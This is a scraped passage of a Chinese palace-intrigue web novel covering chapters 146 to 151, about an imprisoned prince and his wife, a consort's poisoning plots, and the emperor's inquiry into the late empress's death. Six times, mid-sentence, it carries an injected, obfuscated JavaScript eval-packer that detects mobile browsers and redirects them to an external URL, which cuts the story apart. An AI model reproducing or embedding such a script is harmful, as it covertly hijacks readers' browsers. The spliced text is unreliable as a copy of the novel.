“王妃客气了。”流霞说道,“前些日子我们娘娘险些小产,多亏了华神医出手才让我们娘娘安然无事。虽说我们娘娘承的是华神医的救命之恩,但娘娘说,王爷和王妃同样是她的救命恩人。听闻你们入狱,娘娘很是担忧,本想去为你们求情,奈何皇上谁也不见。娘娘不放心,便让奴婢代她来狱中探望。” 夜时舒和尉迟凌相视了一眼,都很意外。 没想到宫里还有人记挂他们。 要知道,他们连妍妃长何模样都不清楚。 流霞将提来的食盒放在地上。 见地上两份饭菜未动,她稍稍愣了一下,然后把食盒里的吃食一一摆进牢门里,接着把那两份饭菜倒进食盒中,只将两只粗碗留下。 “王爷、王妃,你们慢用,奴婢明日再来。” 第146章 让太子但此大任 目送她离开后,夜时舒赶紧朝尉迟凌使眼色。 尉迟凌端起地上的食物一一查看,然后将一盅参汤递给她,“没问题,吃吧。” 夜时舒欣喜又感动。 那妍妃可真是大好人啊,竟然让他们在天牢中还能吃到补品! …… 夜已深。 可御书房的灯火还亮着。 看着跪在地上的女人,尉迟晟抬了抬下巴,“不是让你多卧榻安胎吗,怎么如此晚了还出来?” 妍妃示意流霞把食盒递给齐绥。 “皇上,臣妾担心承王和承王妃在天牢中受苦,便让流霞给他们送了些吃食去。流霞去了天牢,发现承王和王妃在天牢中所用的饭菜有些可疑,便偷偷带了出来。” 尉迟晟一听,脸色瞬间沉下。 随即他起身,走向流霞,亲自接过食盒,并吩咐齐绥,“把陆长青叫来!” “是!” 一刻钟后。 陆长青来了。 检查过食盒里的饭菜后,他一脸肃色地向尉迟晟禀报,“皇上,这饭菜中的确被人做了手脚。” 尉迟晟看着他手中变黑的银针,怒问,“这是什么毒?” 陆长青摇头,“回皇上,微臣也看不出来这是何种毒物,但能确定是剧毒。” 尉迟晟胸膛一起一伏,真是被气得不轻。 他还没行动呢,居然有人比他还心急! 好…… 很好! 他朝妍妃看去,沉声交代,“明日起,承王和承王妃的吃食都由你负责!你怀着身子,先回寝宫休息吧!” “是,臣妾告退。”妍妃在流霞搀扶下起身,然后离开了御书房。 尉迟晟随即又让陆长青离去。 然后对齐绥说道,“宣太子!就说朕有要事交代他去做!” “是!” 约莫小半个时辰,尉迟睿才到御书房。 尉迟晟斥道,“这大半夜的,你可叫朕好等!” 尉迟睿赶忙解释,“父皇,丞相夫人身染怪疾,儿臣在丞相府陪伴太子妃,这才来迟了。” “没想到你竟如此孝顺。”尉迟晟面无表情地赞道。 尉迟睿观察着他的神色,一时间也猜不出他是真夸自己还是别含义,只能小心翼翼地问道,“父皇,这么晚了叫儿臣来,是有何吩咐?” 尉迟晟正了正身形,端**,威严地说道,“近来华湘阁的事让朕着实头疼,朕仔细想过,的确该好好查一查这华湘阁的底细。但承王与华湘阁的弟子走得近,避免他有包庇之心,所以朕决定让你去调查华湘阁,务必找出其所在之地!” “父皇要让儿臣去查?”尉迟睿忍不住惊诧。 “怎么,你不愿意?”尉迟晟不满地蹙起眉,“丞相夫人与贵妃都有意愿让朕铲除华湘阁,她们一个是你的岳母,一个是视你如己出的娘娘,你担此大任最合适不过!” “可是……父皇,那华湘阁的弟子都不是普通人,儿臣如何对付得了他们?” 正在这时,齐绥来禀报,“皇上,贵妃娘娘求见。” “让她进来!” 澜贵妃本来已经歇下了,可突然听说皇上半夜宣太子觐见,她猜到可能与承王有关,便赶来看看。 “皇上,夜深露重,怎还不休息呢?”她关心地问道。 “贵妃来得正好,朕打算让太子带人去调查华湘阁,不知你意下如何?”尉迟晟温声询问她。 “什么?让太子去调查华湘阁?”澜贵妃忍不住惊呼,“皇上,华湘阁既隐蔽又危险,您怎能让太子去冒险?太子可是我大邺国储君,若是出现任何闪失,那可如何是好?” “不让太子去,难道让承王去?”尉迟晟不悦地板起脸,“承王与华湘阁弟子走得那般近,让他去调查华湘阁,朕才是真的不放心!” “朝中有的是能干的将才,让他们去对付华湘阁再合适不过!”澜贵妃提议。 “可朕信不过他们!” “……”澜贵妃无语得想吐血。 “就这么决定了!”尉迟晟不给她再说话的机会,沉声说道,“朕让吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136964|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钺带领御林军陪同太子去调查华湘阁,有他们在,贵妃大可安心!” “皇上……”澜贵妃急得嗓子眼都快冒火了,但偏偏她又不能发作出来。 尉迟晟朝齐绥看去,“夜深了,摆驾,回寝宫!” 说完,他丢下澜贵妃和尉迟睿,头也不回地离开了御书房。 澜贵妃脸色难看得要死。 尉迟睿着急地问她,“娘娘,这可如何是好?” 澜贵妃阴沉着脸思索了片刻,随即示意他近前来,然后在他耳边低语起来。 听完后,尉迟睿一脸愁容变成了一脸欣喜,“嗯,我知道该如何做。” 从御书房回到寝宫。 澜贵妃让人去唤来一名黑衣人。 “不是让你去天牢找机会吗?为何现在还没得到消息?” 黑衣人道,“娘娘,小的正要向您禀报此事。小的在承王和承王妃所用的饭菜中做了手脚,可谁知道妍妃竟派人去给他们送吃食。他们现在都没事,想必是用了妍妃准备的吃食,没用天牢里的。” 澜贵妃听后,勃然大怒,“好个妍妃!不在她宫中养胎,竟敢跑出来当我们的绊脚石!” 黑衣人又道,“娘娘,要不要小的先去对付妍妃?免得她继续坏我们的好事?” 澜贵妃摇了摇头,“出了上次的事,皇上对她看得紧,她宫里的一切都有人督视着,若是再出事,皇上怕是会大肆搜查宫中。眼下,只能先放过她。” 黑衣人问道,“那天牢那边还需要小的动手吗?” 澜贵妃再摇了摇头,“罢了,先放过他们吧,反正他们一时半会儿也出不去。” “是。” 丞相府。 南宫氏的情况,其实丞相府的人描述的还算轻的。 真实的情况是,南宫氏半身抽搐不说,连带着半边脸也如同中风一样,别说行动不便,就是连话都说不出来了。 偏偏她还安静不下来,不停的‘啊啊啊’,让照顾她的人既心痛又无措,最后惹得丞相祝志顺恼火不已。 第147章 承王是阁主? 祝华凝同样被自家母亲折磨得精疲力尽,“父亲,御医都束手无措,我能有何办法?” 祝志顺指着床上瞪着眼‘啊啊’叫如同鬼魅一样的南宫氏,恼道,“总不能让她一直如此吧?她不休息,我们还要休息呢!” “父亲,要不您先去休息吧,我会安排人看好母亲的。” “行!那你安排吧,有何情况再派人告诉我!”面对女儿的提议,祝志顺一点都没犹豫,随即便离开了。 祝华凝看着母亲那一双闭不上的瞳孔,深吸一口气后,让自己的大宫女近前来,低语交代了一句。 大宫女点了点头,去到桌边,倒了一杯清水,并背着南宫氏将一包药粉倒进了杯中,然后端着杯子到床边,低声哄道,“夫人,喝口水吧。” 南宫氏还是只能‘啊啊’地发声。 大宫女随即便将杯中水灌进她嘴里。 不多时,抽搐了好几个时辰的南宫氏总算合上眼安静了下来。 只是安静中的她四肢僵硬,如同僵死之人,比抽搐时还更加瘆人。 “太子妃,这**也维持不了多少时辰,等夫人醒来,难道要一直喂她?”大宫女一脸担忧。 祝华凝的脸上一片阴晦。 母亲变得如此,说与承王他们无关,鬼都不信! 可是华芯失踪,承王又那般冷傲姿态,摆明了是要给他们好看! 她现在唯一能指望的就是那个叫华平的人…… 只是母亲告诉过她,那人行踪诡秘,无人知晓,她也不知道该去哪里寻人! “今日累极了,先休息吧,等明日再想办法。”深感无力的她只能先选择休息。 “是。” 就在主仆俩正要离开时,房门突然被人推开。 只见一蒙面人如鬼魅般现身在屋里。 “啊……”大宫女吓得惊叫。 “闭嘴!”祝华凝猛地回头冷喝。然后主动走向面具男子,礼貌地问道,“想必阁下就是我母亲提起过的华先生吧?久仰大名,今日如愿所见,先生不但医术超绝,连身手都如此厉害,实在令人敬佩!” 听到她夸赞的话,面具男‘哈哈’大笑,“太子妃真会说话!” 祝华凝先是恭维地陪笑,接着回头看了一眼床上如僵死的母亲,笑意瞬间变成了难过,“先生大德,能否救救我母亲?她被人害得好惨!” 面具男没多问,径直走向床榻。 祝华凝跟在他身侧,细说着南宫氏发病的前后情况。 面具男一开始为南宫氏检查身体时还从容自信,可查着查着他动作越发僵硬,面具下的双眼充满了莫名的恐慌。 特别是在听祝华凝说完之后,他震惊地问道,“你再说一遍,有谁碰过她?” 面对他突然变得激动的双眼,祝华凝吓得往后退了一步,但还是回道,“只有承王离开前扶过我母亲,等他们离开丞相府后,我母亲发了怪病……” “承王……”面具男身体微微颤栗,一双眼睛除了比鹰眼还凌厉外,还充满了许多让人看不懂的情绪。 “先生,怎么了,莫非凶手真的是承王?可他哪有这个本事啊?”祝华凝不接地问道。 面具男双手紧攥成拳,只颤栗地盯着床上的南宫氏。 祝华凝赶忙给大宫女使眼色。 大宫女倒了一杯水送上前,“先生,喝口水吧。” 面具男转身接过杯子,仿佛渴到了极致,一杯水直接灌下。 片刻后,他眼中复杂莫测的情绪逐渐归于平静,将空杯递给大宫女,背着手看向祝华凝,“太子妃,你可知你母妃中的是何毒?” “请先生明示!”祝华凝躬身道。 “天命魔骨粉,乃华湘阁阁主身死后,用其筋骨研磨所制,而得此之人,只有下一任阁主!” “你、你是说承王他是……”祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136965|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华凝惊骇不已,但随即她又摇头,“不可能!他十岁之前都在宫中,后面十年都在军营历练,如何能做华湘阁阁主?” “你母亲到底如何得罪了他?竟让他亲自出手?”面具男沉声问道。 祝华凝还沉浸在震惊中,大宫女替她回道,“先生,承王身边有个叫华芯的女子,她帮承王治好了腿伤和脸伤,坏了我家太子的大计。我家太子和太子妃不甘心,便想除掉那华芯和她背后的华湘阁,于是请丞相夫人做局嫁祸给他们,想着如此便能让皇上对华芯和华湘阁心生忌惮,然后发兵铲除华湘阁。” 面具男听完,眼神犹如看蠢物一眼看着他们主仆。 若承王就是华湘阁阁主,他们当着承王的面扬言要除掉华湘阁,那岂不是当面找死? 难怪,承王会亲自动手! “先生……”祝华凝回过神,激动地问他,“你医术高明,还请你救救我母亲。只要你能救治好我母亲,要多少金银珠宝都不是问题!” 面具男想也没想地摇头,“我救不了!” “为何?” “每一任华湘阁阁主都是上一任阁主的亲传弟子,而每一任阁主死后所化的东西只有新阁主才有,而那也是为了保护华湘阁最神秘且也是最狠毒的手段,别说旁人无解,就是现任阁主也没有解药。”面具男说完,惋惜地看了一眼南宫氏,叹道,“你们还是为她准备后世吧,就算被**药晕,她还是撑不过三日便会肝胆俱裂、七窍流血而亡。而且死后,必须焚烧至灰,一旦入土,必损后代性命。” “不……”祝华凝接受不了这种打击,双腿瞬间发软。 “太子妃!”大宫女赶忙面具男她抱住。 “母亲!”祝华凝挣开她,扑倒床边悲恸泣哭,“是女儿没用,才把您害成这样!您放心,女儿一定会为您报仇雪恨,定要承王府和夜家为您偿命!” 第148章 是不是你们害死的? 将军府。 女儿女婿入狱,夜庚新是真差点就冲去宫中质问帝王了。 好在这次文岩和文墨在,一同把他拦下,加上九姑也安慰他,“王爷就算入狱也没人能伤得了他,将军切莫乱了阵脚。何况王爷被打入天牢的理由太过牵强,说不定是王爷故意而为,若将军此时冲动,极有可能破坏王爷的计划。” 文岩连连点头,“九姑说的是,王爷和澜贵妃母子离心是众所皆知的,以往都没事,偏偏这一次被皇上打入天牢,这多少有些说不过去。” 文墨接着道,“将军,王妃让我们回来,就是为了稳住您和两位公子。咱们还是稍安勿躁,等着看看吧。” 夜庚新揉着眉心,出这么大的事,他怎么可能冷静? “哎哟!”九姑突然捂着心口叫道。 “九姑,你怎么了?”夜庚新赶紧上前将她扶住。 “心口莫名发痛,估计是没休息好引发了后遗症。”九姑虚弱地道。 “郝福!快叫周铮过来!”夜庚新不疑有他,将九姑打横抱起就往卧房去。 目送他们离去,郝福也急着要去喊府医周铮。 文岩快一步将他抓住,笑着说道,“郝管家,九姑是装的,你记得叫周先生配合一下。” 郝福愣了愣,随即反应过来,笑着应道,“是是……我知道该如何做!” 既然王爷和三小姐不让将军插手,那只能先办法拖住将军了! …… 翌日。 尉迟晟免了早朝。 在寝宫休息的他听到吴钺来报,“皇上,太子殿下昨夜染了风寒,听御医说挺严重的。追查华湘阁一事,怕是要耽搁了。” 尉迟晟冷声骂道,“贪生怕死的东西!不过是让他去江湖走一趟,也没让他必须攻打华湘阁,他就找这种理由推脱。若哪日敌寇来犯,需要他带兵亲征,以他这般推三阻四的德行,能保得住我大邺国多少疆土?” 从昨日起,他就一直在回想这些年来澜贵妃与太子、承王的关系。 因为澜贵妃早年与皇后确实亲如姐妹,她们同时进宫,又是同期怀上龙嗣,就连分娩也是同一日。 那些日子,后宫从未传过她们有任何不和。 所以皇后过世后,澜贵妃将太子视如己出,没有人怀疑丝毫。朝中大臣见她如此爱护储君,更是对她赞美有加。 在太子的事情上,澜贵妃可以说仁德兼备,称得上世间女子典范。 可这样一个仁德兼备的母亲,却对亲生子的承王苛刻至极。早前她苛刻承王,他只当她是严厉,不愿承王去抢太子的风头,避免旁人说他们母子怀有野心。 可后来,这样的严厉越发过激。 过激到身为父亲的他都看不下去了! 他就不明白了,一个能包容别人儿子的女人,为何却不能和颜悦色地对待自己十月怀胎所生的亲生子…… 而两个儿子随着时间成长,差异也越来越大。 他回想这些年太子在朝中的作为,不能说平平无奇,几乎是毫无作为! 因为他是储君,自小就深受群臣爱戴。明面上他是身兼数任,可他手上的事,哪一件不是他人去做的,太子亲力亲为了多少? 就连议事时,看似他决策明断。可是所有决策都是朝臣所荐,他只需要挑选最好的决策附议,便能让人觉得他是可栽培的明君! 如果这样的他便能治国,那随随便便一个人坐在龙椅上,是不是也能统治江山社稷? 反观承王。 自小独立,从他屡获战绩就可以看出,他有勇有谋。 能被华湘阁老阁主挑选成为继承人,也可以看出他心性纯善,不然以华湘阁在江湖中的地位,随随便便找个人继承阁主之位,那美名能传扬至今? “皇上,您一早都没用过吃的,可是哪里不适?”齐绥见他一个劲儿的发呆,忍不住关心他。 尉迟晟摇了摇头,“朕没胃口。”想到什么,他目光突然有了焦距,冷声吩咐吴钺,“你假借追查华湘阁之名,去外面跑一趟,务必把当年从凤栖宫放出去的人找到,秘密给朕带回来!” 吴钺皱了皱眉,“皇上,这都二十多年过去了,当年在凤栖宫当差的嬷嬷们怕是早已不再人世。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136966|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你想什么办法,都要找到他们的下落,若是离世,也务必查明其死因!”尉迟晟咬着牙道。 现在回想起来,他是觉得哪哪都不对劲儿! 当年皇后过世不久,凤栖宫的人不论年纪大小,全部请旨离宫。澜贵妃还帮着她们说话,说她们继续留在宫中,会睹物思人,与其看着他们终日以泪洗面,不如放她们离去为好。 他当时陷入悲痛中,根本没多加思考便允了。 吴钺虽不知他要做什么,但他的命令不敢不从,“是,微臣定竭尽全力去查!” 这一日,尉迟晟的心情都很低落。 期间他向齐绥问过天牢的情况。 齐绥道,“妍妃娘娘让人做了不少好吃的给承王和承王妃送去,皇上您就放心吧,承王和承王妃在天牢中没有受到苛待。不过,昨日太子和太子妃去过天牢,同承王和承王妃起了一些口角。” 昨日? 尉迟晟怒道,“为何昨日不报?” 齐绥立马跪下,解释道,“皇上,昨日奴才是想禀报的,但您夜深召见太子,随后澜贵妃又来了,奴才便把这事给忘了。” 正在这时,一名宫人匆匆前来。 “何事如此慌张?”尉迟晟没好气地问道。 “启禀皇上,丞相夫人南宫氏病逝了!”宫人禀道。 “……!” 对此消息,尉迟晟说不吃惊是假的。 他以为承王只是小小地教训一下那南宫氏,没想到竟是这般厉害! …… 天牢中。 尉迟凌和夜时舒正用着锦福宫送来的食物,夫妻俩正吃的欢呢,就迎来了一个煞风景的人物。 “你们还有脸在这里吃吃喝喝!”澜贵妃一来,看着地上丰盛的饭菜及参汤,火气直接喷发,“你们可知,你们闯了多大的祸?” “闯祸?”尉迟凌盘腿坐在地上,一点起身的迹象都没有,只面无表情地望着她,反问,“儿臣和舒儿一直在天牢中,何时闯祸了?” “丞相夫人是不是你们害死的?为何你们昨日离去她就突然恶疾,这才一日而已,就不治身亡了!” 第149章 该早下手把这孽障弄死! “母妃如此嚷着说儿臣害**丞相夫人,可是有何证据?若您有何证据,可直接交由御史台,再让父皇亲自发落。”尉迟凌双眸一沉,语声陡然转冷,“若你没有证据便随意污蔑儿臣,那你也不配为人母!儿臣定上奏父皇,让他肃查我们母子关系!” “你!”澜贵妃脸色唰地失色,尖利的指尖颤抖地指着他,“你这大逆不道的东西,我十月怀胎拼了半条命生下你,你竟拿母子之情伤我心!” “我们之间有母子之情吗?”尉迟凌冷笑,“你连世间母亲最基本的关心都做不到,也配谈母子之情?” “你……你……你……”澜贵妃被怼得一句完整的话都说不出来。 夜时舒起身,冲她关心地问道,“母妃,您没事吧?这天牢可不是谁都能待的,您这娇养的身子要是出了任何闪失,我们可担不起哦!” 要不是她们之间隔着铁栏牢门,澜贵妃真恨不得一巴掌给她扇过去! “夜氏,这里没你说话的份,滚一边去!” “母妃,人家只是关心您,您为何如此凶恶?就算您是长辈,可也得将道理啊!”夜时舒委屈地瘪着嘴,一副随时要落泪的样子。 “你、你们……”澜贵妃还想再骂。 “娘娘,这里污秽不堪,实在不宜久留,奴婢扶您回宫吧。”随她而来的陈嬷嬷搀扶住她,有意打断她说话。 “哼!”澜贵妃狠狠地瞪向尉迟凌,“你若再这般任性狂傲、不敬父母,那你就继续在天牢中反省思过吧!” 说完,她带着一身怒火头也不回地离开了天牢。 夜时舒还忍不住喊了声,“恭送母妃!母妃一路好走哦!” 她自然看不到澜贵妃那铁青的神色,笑着回到尉迟凌身侧,重新拿起碗筷,先给尉迟凌夹了一块肉片,又喂了自己一块,一边吃一边笑说道,“真可惜,没能去丞相府奔个丧。” 尉迟凌剜了她一眼,“不是什么热闹都能凑的!南宫氏死后,十二个时辰内若不焚烧,触之者,死!” “……”夜时舒张着嘴,口里的肉还没来得及咽下,突然有种想吐的冲动。 “本王能容忍澜贵妃作恶,那是因为本王的身世还未查明清楚。但他人敢对华湘阁动杀心,本王不但要她死得难看,还要她死无葬身之地,即便灭不了她九族,也要她身边人不得善终!” 这番话,与其说尉迟凌是在向她解说,不如说他是在宣誓。 夜时舒没觉得南宫氏死得残,相反的,在南宫氏替顾家保媒,要对她兄长的婚事指手画脚时,她就记恨上了南宫氏。 后面顾家想拿北蔺国的物件诬陷他们将军府通敌叛国,这都是和丞相府以及太子、太子妃、澜贵妃有关。 这些人,就算全死在她面前,她也不会眨一下眼。毕竟她是死过一次的人,知道对这种人绝对不能有半分仁慈,何况这些人跟魏家比起来,心狠手辣更胜。她若仁慈,死的就不仅仅是她了,承王府和将军府所有人都不可能幸免! 她只是有些迷惑,他对付南宫氏的手段,仿佛南宫氏踩到了他逆鳞。 同是华湘阁弟子,也没见她二嫂有他这般肃杀之恨啊! “王爷,华湘阁对你来说,很重要吗?”她忍不住将心底的话问了出来。 触及到她眸中那试探的心思,尉迟凌抬手轻抚着她敛下,微微勾唇,“你是本王魂归之处,它是本王身死之所。” 夜时舒忍不住拉脸,“说什么丧气话呢,呸呸呸!” 看着她把嘴里的肉吐出来,尉迟凌‘嗤’地笑出了声。 夜时舒没再多问,不过心里已经有了几分定断。 他比她二嫂更厉害! 可能他不仅仅是华湘阁的弟子…… …… 澜霞宫。 澜贵妃气得不轻。 陈嬷嬷见她几乎是失了理智,忍不住劝她,“娘娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136967|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是奴婢多嘴,您近来对承王的态度实在过继,这样很容易让人起疑的!您今日也听到承王的话了,可见他对你们的母子之情已经有所怀疑!如此下去,这可如何是好?” 澜贵妃定住。 但片刻之后她还是愤懑道,“他怀疑又如何?本宫就是他的生母,他再怀疑也不敢拿本宫如何!” 陈嬷嬷叹了口气,“娘娘,恕奴婢直言,太子殿下还未接替大权之前,我们还是忍一忍吧。等太子坐稳那个位置,想对付承王及其夜家,那可容易多了!” 听着她接连劝说的话,澜贵妃的确冷静了不少。 可她又不服气,毕竟她对承王一直都严厉,这么多年了都没人怀疑过,没道理现在被人质疑。 再说了,哪有人质疑生母的,这不是大逆不道上赶着让世人唾骂吗? 如果承王真敢当着外面的人质疑他们母子关系,那她还求之不得呢!如此她不但能给承王扣上不孝尊亲的罪名,说不定还能带动朝臣**承王,让他交出手中的兵权! “娘娘,您就听奴婢一次吧,先不要再去见承王了,我们只需要在背后替太子谋事便可。”陈嬷嬷继续苦口婆心地劝道。 “本宫会注意的。”澜贵妃淡淡地应下。 突然,一名宫女跑了进来。 听完宫女的禀报,澜贵妃和陈嬷嬷都惊骇不已。 “太子妃真是那般说的?” “回娘娘,的确是太子妃亲口说的。”宫女回道。 澜贵妃脸色惨白得吓人。 南宫氏惨死就算了,居然还要连夜被焚! 最重要的是,死后竟然不能埋进祝家的祖坟之地! 华湘阁…… 如此厉害吗? 这次是南宫氏,那如果承王想做皇帝,会不会也用此手段对付太子? 这孽种,怎么就变得如此能耐了! 早知道这孽种这么难对付,她就该趁早下手把这孽种弄死的! 第150章 查皇后的死因 看她神色又不对劲儿了,陈嬷嬷对宫女斥道,“行了,娘娘知道了,你退下吧,娘娘这几日劳累过多,让娘娘好好休息!” “是!”宫女躬身退下。 “嬷嬷,你说,真是承王让华芯对丞相夫人下手的吗?”澜贵妃不安地问道。 “娘娘,就算是,可是谁能证明?这没有证据的事,就算告御状都没用。就像昨日众宾客被下**,皇上御驾亲临,不也因为没证据所以才没追究华芯和承王夫妇的责任吗?”陈嬷嬷据理分析道。 澜贵妃知道她说的都有道理,可是一想到南宫氏就这样**,她心里就瘆得慌。 因为怕,所以她更想杀了承王! 可她也很清醒,现在承王与她的关系越来越恶劣,特别是最近发生了这么多事后,承王已经设下了很深的防备。 就拿昨日狱中饭菜下毒来说,不就没成功吗? 可以说,现在想除掉承王,难乎其难! 现在别无他计,她只能等太子和太子妃回宫后再做商议…… 这一次,她一定要想一个万全之策,誓让尉迟凌这孽种从这世上彻彻底底消失! …… 将军府。 丞相府的丧事也传到了夜庚新耳中。 夜庚新正给‘虚弱’的九姑喂药呢,听到郝福来报消息,他以为自己听错了,惊讶道,“昨日不是丞相夫人寿诞吗?这才一日过去,怎么就**?” 郝福道,“听说丞相夫人寿宴后便突发怪症,而且还是当着整个太医院的御医们发病,所有御医都为丞相夫人诊看过,可没一个人能说得出她的病因。” 夜庚新冷哼,“多半是坏事做多了被老天收了吧!” 对南宫氏为顾家保媒的事,他可是记忆犹新呢! 要不是他家老二改去了芯儿,真让那顾诗雅进了他将军府做儿媳,再通过顾诗雅的手把北蔺国的东西放置于将军府,他将军府所有人现在已经人头落地了! 南宫氏跟顾家是一伙的,所以她死,不足惜! “九姑,快趁热喝。等你好些了,我们就去天牢看王爷和舒儿。”他继续喂九姑喝药。 “……嗯。”九姑心虚得都不敢看他,好在自己演的是‘虚弱’,也不容易被发现。 …… 南宫氏的丧事,丞相府还是办得极为隆重。 而且整整办了三日。 但令人没想到的是,堂堂的丞相夫人,死后竟没有几人前去悼哀。 夜时舒和尉迟凌虽然在天牢中,但也通过锦福宫的人听到了这些消息。 不用问他们都知道,想在丞相府棺椁中的人绝对不是南宫氏。要么是换了人、要么只是一具空棺。 在天牢里待了四天,尉迟晟突然派齐绥来宣旨,让他们前去御书房。 御书房里,除了尉迟晟外,澜贵妃也在。 尉迟晟严肃地问道,“承王,您可反省好了?” 尉迟凌低垂眉眼,朝澜贵妃说道,“是儿臣不对,儿臣不该目无尊长顶撞母妃,请母妃原谅。” 澜贵妃后牙都快咬碎了。 她本以为尉迟晟把承王打入天牢是要重惩,可没想到非但没对承王重惩,竟只关了这么几日便要把承王放出来! 见她不应声,尉迟晟皱着眉朝她说道,“凌儿都已经反省了,您还有何不满?天牢不是寻常人待的,凌儿他们夫妇能在天牢中反省多日,这足以说明他们心诚!” 澜贵妃逼着自己强挤出一丝欣慰的笑,走到尉迟凌面前,虚扶了他一把,“凌儿,你也别怪母妃狠心,母妃对你严苛,也是为了你好。” “是。”尉迟凌一副受教的模样。 看他难得有耐心听自己说话,澜贵妃随即又道,“那华芯对你有恩,母妃是知道的。但华湘阁是江湖门派,其名声好坏掺半,你是堂堂的皇子,身份尊贵,不能再与他们过多来往了,知道吗?” “是。”尉迟凌再次温顺地应道。 他这副说什么就是什么的模样,反倒让澜贵妃有些不适应。原本还酝酿了许多要训斥的话,可此时一句都说不出口。 尉迟晟从龙椅上起身,走到他们母子面前,温声道,“好了,母子之间哪有过不去的事,以后都收敛收敛脾性,别动不动就似仇人般剑拔**张,这让外人看去岂不笑话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136968|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 澜贵妃能说什么? 她只能佯装身子不适,“皇上,臣妾最近多感乏困,先回寝宫了。” 尉迟晟点了点,也不忘关心叮嘱,“有何不适便宣御医,千万别误了身子。” “是,臣妾告退。” 等澜贵妃走后。 尉迟晟抬手拍了拍儿子的肩,又看了旁边低调不语的儿媳。 “你们好几日没回府了,也快些回去吧。” “是,儿臣告退。” “儿媳告退。”夜时舒乖巧地跟着道别。 就在他们小夫妻刚离去不久,出去多日的吴钺回来了。 并带回了让尉迟晟很是震惊的消息—— “皇上,微臣拿着当年凤栖宫的花名册一一寻找,虽有数半人原籍不详,可剩下的数半人经微臣查证,无一在世!微臣没查到他们的死因,但微臣却查到,他们都死于出宫的那一年,且是同一月离世!” 如果说一两人死于同年同月,那还能说是巧合。 可是整个凤栖宫的宫人,除去地址不详的,另一半被查询的人也有二十余人,所有人都死于同年同月,这就不可能是巧合了! “该死的!到底是谁做的?”尉迟晟震惊后便是勃然大怒。 “皇上,微臣有句话不知当讲不当讲?”吴钺小心翼翼地问道。 “讲!” “如果按照那些宫人同年同月离奇死亡的情况来推断,说不定皇后娘娘的死……”后面的话吴钺没敢说。 但谁听不懂? 尉迟晟脸色失血,身子不受控制地颤了颤。 齐绥赶忙将他扶回龙椅上,又倒了杯茶水喂他喝。 尉迟晟脸色由白转青,一双眼睛比利剑还凌厉,猛然喝道,“吴钺!给朕差!不但要查出那些宫人的死因,还要查出皇后的死因!” 吴钺抬头望着他,为难道,“皇上,差宫人的死因容易,可是皇后娘娘的死因……” 开棺验尸…… 这可不是小事! 尉迟晟闭着眼狠狠地吸了几口气,稍微平静下来后,他再睁开眼,坚定地道,“把承王叫上!让他与朕一同前往皇陵!” 第151章 加倍补偿本王 出了宫门后,尉迟凌和夜时舒并没有回承王府,而是第一时间去了致和将军府。 听闻他们被放出来了,夜庚新激动地迎了出去。 “王爷!舒儿!”他一手抓着一个,左打量右审视,还是不确定地问道,“有没有用刑?可有受伤?” “爹,我们好着呢!”夜时舒笑着安慰他。 “只是在天牢住了几日,一切安好。”尉迟凌俊脸带着少有的柔和,连语气都比平日轻和,“事前来不及禀明,让岳父大人担忧了!” “我是真担心啊!”夜庚新一点都没跟他客气,大吐这几日的心情,“要不是文岩和文墨拦着,百般劝说,我是真想进宫去替你们讨要说法!” 九姑从房里出来,欢喜地上前行礼,“王爷、王妃,你们回来了?” 夜庚新扭头瞪她,“你身子都没好利索,跑出来作甚?” 